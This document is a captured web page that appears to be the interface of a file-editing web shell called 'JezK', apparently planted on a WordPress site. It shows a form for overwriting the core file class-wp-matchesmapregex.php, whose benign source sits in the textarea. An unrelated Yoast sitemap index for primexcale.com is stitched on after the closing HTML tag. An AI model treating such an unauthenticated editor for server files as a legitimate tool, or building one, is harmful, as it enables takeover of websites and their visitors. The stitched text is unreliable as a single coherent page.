
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-wp-matchesmapregex.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * WP_MatchesMapRegex helper class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * Helper class to remove the need to use eval to replace $matches[] in query strings.
 *
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_MatchesMapRegex {
	/**
	 * store for matches
	 *
	 * @var array
	 */
	private $_matches;

	/**
	 * store for mapping result
	 *
	 * @var string
	 */
	public $output;

	/**
	 * subject to perform mapping on (query string containing $matches[] references
	 *
	 * @var string
	 */
	private $_subject;

	/**
	 * regexp pattern to match $matches[] references
	 *
	 * @var string
	 */
	public $_pattern = &#039;(\$matches\[[1-9]+[0-9]*\])&#039;; // Magic number.

	/**
	 * constructor
	 *
	 * @param string $subject subject if regex
	 * @param array  $matches data to use in map
	 */
	public function __construct( $subject, $matches ) {
		$this-&gt;_subject = $subject;
		$this-&gt;_matches = $matches;
		$this-&gt;output   = $this-&gt;_map();
	}

	/**
	 * Substitute substring matches in subject.
	 *
	 * static helper function to ease use
	 *
	 * @param string $subject subject
	 * @param array  $matches data used for substitution
	 * @return string
	 */
	public static function apply( $subject, $matches ) {
		$result = new WP_MatchesMapRegex( $subject, $matches );
		return $result-&gt;output;
	}

	/**
	 * do the actual mapping
	 *
	 * @return string
	 */
	private function _map() {
		$callback = array( $this, &#039;callback&#039; );
		return preg_replace_callback( $this-&gt;_pattern, $callback, $this-&gt;_subject );
	}

	/**
	 * preg_replace_callback hook
	 *
	 * @param array $matches preg_replace regexp matches
	 * @return string
	 */
	public function callback( $matches ) {
		$index = (int) substr( $matches[0], 9, -1 );
		return ( isset( $this-&gt;_matches[ $index ] ) ? urlencode( $this-&gt;_matches[ $index ] ) : &#039;&#039; );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//primexcale.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://primexcale.com/post-sitemap.xml</loc>
		<lastmod>2026-08-25T12:07:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/page-sitemap.xml</loc>
		<lastmod>2026-08-19T08:52:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/web-story-sitemap.xml</loc>
		<lastmod>2026-02-10T11:48:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/category-sitemap.xml</loc>
		<lastmod>2026-08-25T12:07:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-09T10:08:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/author-sitemap.xml</loc>
		<lastmod>2026-02-11T10:01:11+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->